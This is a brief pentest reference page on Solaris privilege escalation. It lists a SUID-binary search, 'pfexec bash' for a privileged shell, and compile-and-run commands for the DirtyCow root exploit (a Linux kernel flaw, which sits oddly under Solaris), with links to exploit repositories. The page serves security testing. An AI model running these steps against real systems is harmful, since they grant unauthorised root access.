> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/privilege-esclation/solaris.md).

# Solaris

## Exploit Suggester

Check for issues using [Exploit Suggester ](/infrastructure-testing/privilege-esclation/automated-tools.md#solaris-exploit-suggester)

## pfexec

The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec\_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively. 

If we find SUID binary  

Find / -perm -u=s -type f 2>/dev/null 

pfexec bash 

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2F0AFMrtELlZYPm1lJvIBT%2Ffile.png?alt=media)

## DirtyCow

<https://github.com/exrienz/DirtyCow>&#x20;

<https://github.com/dirtycow/dirtycow.github.io>&#x20;

Usage Example For 32 Bit&#x20;

```
gcc dc32.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

Usage Example For 64 Bit&#x20;

```
gcc dc64.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

## GTFOBins

Consider looking for Sudo misconfiguration as well

More information on [GTFOBins](/infrastructure-testing/privilege-esclation/linux.md#sudo-misconfiguration)